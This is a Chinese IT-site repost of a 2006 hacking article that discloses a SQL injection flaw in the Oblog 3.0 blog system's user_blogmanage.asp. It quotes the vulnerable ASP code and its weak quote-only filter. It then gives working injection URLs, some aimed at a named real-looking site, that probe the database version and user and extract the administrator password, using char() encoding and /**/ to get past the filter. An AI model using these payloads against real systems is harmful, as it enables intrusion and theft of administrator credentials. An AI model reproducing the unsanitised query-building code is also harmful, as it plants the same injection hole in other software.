网站公告列表

  没有公告

加入收藏
设为首页
在线投稿

您现在的位置: IT知识网 >> IT知识 >> 维修维护 >> 其它外设维护维修 >> 文章正文

 

  这儿有个窟窿:Oblog3.0漏洞曝光 (1)           

这儿有个窟窿:Oblog3.0漏洞曝光 (1)
作者:佚名 文章来源:不详 点击数: 更新时间:2006-12-6 0:56:11
    这儿有个窟窿:Oblog3.0漏洞曝光 (1)
    这儿有个窟窿:Oblog3.0漏洞曝光 (1)    看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码:
    

    
sub moveblog() 
if id="" then
Oblog.adderrstr("请指定要移动的日志")
Oblog.showusererr
exit sub
end if
dim subjectid
subjectid=trim(request("subject"))
if subjectid="" then
Oblog.adderrstr("请指定要移动的目标专题")
Oblog.showusererr
exit sub
else
subjectid=Clng(subjectid)
end if
if instr(id,",")>0 then
‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条
id=replace(id," ","")
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql
‘否则执行这个sql语句,设为第二条。
else
sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql
end if
Oblog.Execute sql
dim blog,rs1
set blog=new class_blog
blog.userid=Oblog.logined_uid
blog.update_allsubjectid()
blog.update_index_subject 0,0,0,""
set blog=nothing
set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid)
while not rs.eof
set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0))
Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog
    _subject.subjectid="&rs(0))
rs.movenext
wend
set rs=nothing
set rs1=nothing
Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!",""
end sub

    
      
    

再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下:
    
    


    
public function filt_badstr(str) 
If Isnull(Str) Then
filt_badstr = ""
Exit Function 
End If
Str = Replace(Str,Chr(0),"")
filt_badstr = Replace(Str,"'","''")
end function

    
      只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”’”,否则不会成功的。
      以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探:
    

    
http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 
0">http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。

    
      嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧:
    
    

    
http://www.target.com/user_blogmanage.asp?
    action=Move&subject=1&id=1 and 1=(select password from
     Oblog_admin where id=1)--或者
http://www.target.com/user_blogmanage.asp?
    action=Move&subject=1&id=1 and
    1=(select password from Oblog_admin where
    username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d)
    %2Bchar(0x69)%2Bchar(0x6e))--

    
      
  

文章录入:wuyongjian    责任编辑:wuyongjian 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最 新 热 门
    相 关 文 章
    搞定变慢系统 我与“任务
    Windows2000 有个出错模
     
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    Copyright© ITZS.NET All Rights Reserved
    QQ:272895858   ICP备案编号:吉ICP备07000044号
    IT知识网 站长:博浪